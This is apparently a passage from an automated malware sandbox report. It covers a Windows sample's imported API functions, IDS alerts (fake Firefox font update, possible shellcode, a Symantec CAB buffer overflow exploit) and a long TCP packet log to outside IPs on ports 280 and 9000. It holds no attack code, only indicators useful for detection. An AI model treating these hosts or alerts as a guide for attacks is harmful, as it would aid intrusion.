IsClipboardFormatAvailable, CopyAcceleratorTableW, CreateAcceleratorTableW, GetKeyboardState, GetKeyboardLayout, ToUnicodeEx, CopyIcon, SubtractRect, DestroyCursor, GetClipboardFormatNameW, GetClipboardFormatNameA, SendDlgItemMessageA, RealChildWindowFromPoint, SetCursorPos, MonitorFromRect, InSendMessage, WaitMessage, TranslateMessage, EndDialog, CreateDialogIndirectParamW, CharUpperBuffW, GetIconInfo, DestroyAcceleratorTable, MonitorFromPoint, UpdateLayeredWindow, GetMessageW, MessageBeep, CharUpperW, TrackMouseEvent, SetClassLongPtrW, DrawIconEx, RegisterClipboardFormatW, CopyImage, EmptyClipboard, SetClipboardData, CloseClipboard, EnumDisplayMonitors, SystemParametersInfoW, SetLayeredWindowAttributes, MapVirtualKeyW, GetKeyNameTextW, CheckMenuRadioItem, InvertRect
GDI32.dll	BitBlt, Chord, CombineRgn, CreateBitmapIndirect, CreateBrushIndirect, CreateCompatibleBitmap, CreateDiscardableBitmap, CreateDIBPatternBrushPt, CreateEllipticRgn, CreateEllipticRgnIndirect, CreateFontIndirectW, CreateFontW, CreateHatchBrush, CreateICW, CreatePalette, CreatePen, CreatePenIndirect, CreatePolyPolygonRgn, CreatePatternBrush, CreateRectRgn, CreateRectRgnIndirect, CreateRoundRectRgn, CreateSolidBrush, DrawEscape, Ellipse, EnumObjects, EqualRgn, Escape, ExtEscape, ExtCreateRegion, ExtFloodFill, FillRgn, FloodFill, FrameRgn, GetROP2, GetAspectRatioFilterEx, GetBkColor, GetBkMode, GetBitmapBits, GetBitmapDimensionEx, GetBoundsRect, GetBrushOrgEx, GetCharWidthW, GetCharWidthFloatW, GetCharABCWidthsW, GetCharABCWidthsFloatW, GetCurrentObject, GetCurrentPositionEx, GetDeviceCaps, GetFontData, GetGlyphOutlineW, GetGraphicsMode, GetMapMode, GetNearestColor, GetNearestPaletteIndex, GetObjectType, GetOutlineTextMetricsW, GetPaletteEntries, GetPixel, GetPolyFillMode, GetRegionData, GetRgnBox, GetStretchBltMode, GetTextCharacterExtra, GetTextAlign, GetTextColor, GetTextExtentPoint32W, GetFontLanguageInfo, GetCharacterPlacementW, GetViewportExtEx, GetViewportOrgEx, GetWindowExtEx, GetWindowOrgEx, InvertRgn, MaskBlt, PlgBlt, OffsetRgn, PatBlt, Pie, PaintRgn, PolyPolygon, PtInRegion, PtVisible, RectInRegion, RectVisible, Rectangle, ResetDCW, RealizePalette, RoundRect, ResizePalette, SetBitmapBits, SetBoundsRect, AnimatePalette, SetPixel, SetPixelV, StretchBlt, SetRectRgn, UpdateColors, PlayEnhMetaFile, GdiComment, GetTextMetricsW, AngleArc, PolyPolyline, GetWorldTransform, GetColorAdjustment, CreateHalftonePalette, StartDocW, EndDoc, StartPage, EndPage, AbortDoc, SetAbortProc, AbortPath, BeginPath, CloseFigure, EndPath, FillPath, FlattenPath, GetPath, PathToRegion, SetMiterLimit, StrokeAndFillPath, StrokePath, WidenPath, ExtCreatePen, GetMiterLimit, GetArcDirection, TextOutW, CreatePolygonRgn, DPtoLP, LPtoDP, Polygon, Polyline, PolyBezier, SetBitmapDimensionEx, SetBrushOrgEx, GetTextFaceW, GetKerningPairsW, UnrealizeObject, ExcludeClipRect, GetClipBox, GetClipRgn, IntersectClipRect, LineTo, OffsetClipRgn, PlayMetaFile, RestoreDC, SaveDC, SelectClipRgn, ExtSelectClipRgn, SelectPalette, SetBkMode, SetMapperFlags, SetGraphicsMode, SetMapMode, SetLayout, GetLayout, SetPolyFillMode, SetROP2, SetStretchBltMode, SetTextCharacterExtra, SetTextAlign, SetTextJustification, PlayMetaFileRecord, EnumMetaFile, SetWorldTransform, ModifyWorldTransform, SetColorAdjustment, ArcTo, PolyDraw, SelectClipPath, SetArcDirection, MoveToEx, PolyBezierTo, PolylineTo, SetViewportExtEx, SetViewportOrgEx, SetWindowExtEx, SetWindowOrgEx, OffsetViewportOrgEx, OffsetWindowOrgEx, ScaleViewportExtEx, ScaleWindowExtEx, CreateDIBitmap, EnumFontFamiliesW, Arc, SetBkColor, SetTextColor, CreateBitmap, ExtTextOutW, CreateEnhMetaFileW, CloseEnhMetaFile, CreateMetaFileW, CloseMetaFile, GetObjectW, CreateDIBSection, SelectObject, CreateCompatibleDC, GetStockObject, CreateDCW, DeleteObject, SetPaletteEntries, GetTextCharsetInfo, GetTextExtentPointW, GetSystemPaletteEntries, EnumFontFamiliesExW, DeleteMetaFile, StretchDIBits, CopyMetaFileW, SetDIBColorTable, GetDIBits, DeleteDC
MSIMG32.dll	AlphaBlend, GradientFill, TransparentBlt
WINSPOOL.DRV	OpenPrinterW, GetJobW, ClosePrinter, DocumentPropertiesW
ADVAPI32.dll	RegOpenKeyExW, RegSetValueW, RegQueryValueExW, RegCreateKeyExW, RegDeleteKeyW, RegDeleteValueW, RegSetValueExW, RegEnumKeyW, RegQueryValueW, GetFileSecurityW, SetFileSecurityW, RegEnumKeyExW, RegEnumValueW, RegCloseKey
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHGetMalloc, ExtractIconW, ShellExecuteW, SHBrowseForFolderW, SHAppBarMessage, DragFinish, DragQueryFileW, DragAcceptFiles, SHAddToRecentDocs, ShellExecuteExW, SHGetFileInfoW, SHGetDesktopFolder
COMCTL32.dll	InitCommonControlsEx
SHLWAPI.dll	PathIsUNCW, PathRemoveFileSpecW, PathRemoveExtensionW, PathFindFileNameW, PathFindExtensionW, PathStripToRootW, StrFormatKBSizeW
UxTheme.dll	CloseThemeData, GetCurrentThemeName, GetThemeSysColor, GetWindowTheme, IsAppThemed, DrawThemeText, GetThemePartSize, IsThemeBackgroundPartiallyTransparent, DrawThemeBackground, OpenThemeData, DrawThemeParentBackground, GetThemeColor
ole32.dll	OleGetClipboard, OleSetClipboard, OleFlushClipboard, OleIsCurrentClipboard, DoDragDrop, StgCreateDocfileOnILockBytes, StgIsStorageILockBytes, WriteClassStm, GetHGlobalFromILockBytes, CreateGenericComposite, CreateItemMoniker, OleCreate, OleCreateFromData, OleCreateLinkFromData, OleCreateStaticFromData, CoInitializeEx, OleCreateFromFile, OleSave, OleSaveToStream, OleSetContainedObject, GetClassFile, OleIsRunning, OleLockRunning, OleGetIconOfClass, OleSetMenuDescriptor, CoGetClassObject, CoRegisterClassObject, CoRevokeClassObject, CoRegisterMessageFilter, OleRun, CreateDataAdviseHolder, OleCreateLinkToFile, CreateFileMoniker, CreateILockBytesOnHGlobal, CreateOleAdviseHolder, StgIsStorageFile, StgOpenStorageOnILockBytes, StgOpenStorage, StgCreateDocfile, CoGetMalloc, CoLockObjectExternal, GetRunningObjectTable, OleRegEnumVerbs, OleRegGetMiscStatus, CoDisconnectObject, StringFromGUID2, PropVariantCopy, CLSIDFromProgID, CLSIDFromString, OleUninitialize, OleInitialize, CoFreeUnusedLibraries, CoInitialize, CoCreateInstance, CoCreateGuid, CoUninitialize, SetConvertStg, OleRegGetUserType, ReleaseStgMedium, OleDuplicateData, ReadFmtUserTypeStg, WriteFmtUserTypeStg, CreateBindCtx, CoTreatAsClass, WriteClassStg, ReadClassStg, CoTaskMemFree, CoTaskMemAlloc, StringFromCLSID, OleCreateMenuDescriptor, OleDestroyMenuDescriptor, OleTranslateAccelerator, IsAccelerator, RegisterDragDrop, RevokeDragDrop, OleQueryLinkFromData, OleQueryCreateFromData, OleLoad, CreateStreamOnHGlobal
OLEAUT32.dll	OleCreateFontIndirect, RegisterTypeLib, LoadRegTypeLib, LoadTypeLib, VarDecFromStr, VarBstrFromDec, VarBstrFromDate, VarBstrFromCy, VarCyFromStr, VarDateFromStr, VariantCopy, SafeArrayPtrOfIndex, SafeArrayCopy, SafeArrayPutElement, SafeArrayGetElement, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayUnlock, SafeArrayLock, CreateErrorInfo, SafeArrayGetUBound, SafeArrayGetElemsize, SafeArrayGetDim, SafeArrayRedim, SafeArrayDestroy, GetErrorInfo, SafeArrayDestroyDescriptor, SafeArrayCreate, SafeArrayAllocData, SafeArrayAllocDescriptor, VariantTimeToSystemTime, SystemTimeToVariantTime, SysReAllocStringLen, SysAllocStringByteLen, SysStringByteLen, SysStringLen, SysFreeString, VariantChangeType, VariantInit, SysAllocStringLen, VariantClear, SysAllocString, SetErrorInfo, SafeArrayGetLBound, SafeArrayDestroyData
oledlg.dll	OleUIChangeIconW, OleUIUpdateLinksW, OleUIPasteSpecialW, OleUIInsertObjectW, OleUIBusyW, OleUIEditLinksW, OleUIConvertW
gdiplus.dll	GdipGetImagePaletteSize, GdipCreateBitmapFromFile, GdipGetImageHeight, GdipGetImageWidth, GdipGetImageGraphicsContext, GdipDrawImageRectI, GdipSetInterpolationMode, GdipDeleteGraphics, GdipCreateFromHDC, GdipCreateBitmapFromHBITMAP, GdipDisposeImage, GdipCloneImage, GdiplusStartup, GdipFree, GdipAlloc, GdiplusShutdown, GdipCreateBitmapFromStreamICM, GdipCreateBitmapFromFileICM, GdipCreateBitmapFromScan0, GdipBitmapLockBits, GdipCreateBitmapFromStream, GdipBitmapUnlockBits, GdipDrawImageI, GdipGetImagePalette, GdipGetImagePixelFormat
OLEACC.dll	AccessibleObjectFromWindow, LresultFromObject, CreateStdAccessibleObject
IMM32.dll	ImmReleaseContext, ImmGetOpenStatus, ImmGetContext
WINMM.dll	PlaySoundW

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-25T13:23:31.243996+0200	TCP	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	49715	443	192.168.2.6	39.97.203.118
2024-07-25T13:24:05.412784+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	9000	49725	216.224.127.6	192.168.2.6
2024-07-25T13:23:34.314098+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49716	13.85.23.86	192.168.2.6
2024-07-25T13:23:36.618258+0200	TCP	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	49719	443	192.168.2.6	39.97.203.118
2024-07-25T13:23:56.817000+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	9000	49722	216.224.127.6	192.168.2.6
2024-07-25T13:24:11.742039+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49727	13.85.23.86	192.168.2.6

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 25, 2024 13:23:17.574510098 CEST	49710	280	192.168.2.6	216.224.127.63
Jul 25, 2024 13:23:17.579478025 CEST	280	49710	216.224.127.63	192.168.2.6
Jul 25, 2024 13:23:17.579585075 CEST	49710	280	192.168.2.6	216.224.127.63
Jul 25, 2024 13:23:17.579873085 CEST	49710	280	192.168.2.6	216.224.127.63
Jul 25, 2024 13:23:17.584721088 CEST	280	49710	216.224.127.63	192.168.2.6
Jul 25, 2024 13:23:18.546458960 CEST	280	49710	216.224.127.63	192.168.2.6
Jul 25, 2024 13:23:18.600758076 CEST	49710	280	192.168.2.6	216.224.127.63
Jul 25, 2024 13:23:18.852792025 CEST	280	49710	216.224.127.63	192.168.2.6
Jul 25, 2024 13:23:18.897697926 CEST	49710	280	192.168.2.6	216.224.127.63
Jul 25, 2024 13:23:20.050761938 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:20.055675030 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:20.055752993 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:20.055810928 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:20.061485052 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.002177000 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.002219915 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.002233028 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.002259970 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.002314091 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.002326965 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.002366066 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.252069950 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.252142906 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.252177000 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.252209902 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.252240896 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.252274036 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.252306938 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.252331972 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.252331972 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.252360106 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.252366066 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.252403975 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.252686977 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.303917885 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.494769096 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.494822979 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.494858027 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.494884014 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.494894028 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.494947910 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.494955063 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.495012999 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.495047092 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.495055914 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.495484114 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.495534897 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.495537043 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.495572090 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.495615959 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.495685101 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.496299028 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.496346951 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.496402979 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.496436119 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.496505976 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.741731882 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.741755962 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.741770029 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.741813898 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.741827011 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.741903067 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.741934061 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.742146969 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.742160082 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.742172956 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.742187023 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.742199898 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.742244959 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.742815971 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.742830992 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.742928982 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.742940903 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.742990971 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.743133068 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.743148088 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.743238926 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.743700981 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.743838072 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.743849993 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.743861914 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.743989944 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.743989944 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.987633944 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.987653971 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.987668037 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.987692118 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.987704039 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.987715960 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.987880945 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.987880945 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.987987041 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.988020897 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.988033056 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.988061905 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.988183975 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.988215923 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.988224983 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.988229036 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.988266945 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.988938093 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.989021063 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.989033937 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.989046097 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.989064932 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.989089012 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.989449024 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.989536047 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.989548922 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.989576101 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.989613056 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.989624977 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.989656925 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.990345001 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.990391970 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.990504026 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.990516901 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.990566015 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.991534948 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.991605043 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.991616011 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.991647005 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.991744041 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.991756916 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.991769075 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:21.991780043 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:21.991807938 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.234342098 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.234363079 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.234375954 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.234389067 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.234400988 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.234412909 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.234426975 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.234433889 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.234447956 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.234503984 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.234524965 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.234560966 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.234662056 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.234697104 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.234724998 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.234786987 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.234818935 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.234844923 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.234853029 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.234886885 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.234921932 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.234924078 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.234982967 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.235400915 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.235456944 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.235490084 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.235507965 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.235523939 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.235584021 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.235594034 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.242153883 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.242188931 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.242201090 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.242221117 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.242245913 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.242289066 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.242301941 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.242314100 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.242327929 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.242341042 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.242366076 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.242465973 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.242552996 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.242564917 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.242610931 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.242680073 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.242691994 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.242703915 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.242716074 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.242734909 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.242769003 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.242849112 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.242861032 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.242892981 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.243508101 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.243520021 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.243532896 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.243550062 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.243560076 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.243571043 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.243585110 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.243585110 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.243628025 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.244148016 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.244193077 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.244232893 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.244244099 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.244282007 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.244302988 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.244314909 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.244352102 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.481703043 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.481724024 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.481735945 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.481746912 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.481801033 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.481872082 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.481873035 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.481884956 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.481898069 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.481939077 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.482036114 CEST	9000	49712	216.224.127.6	192.168.2.6
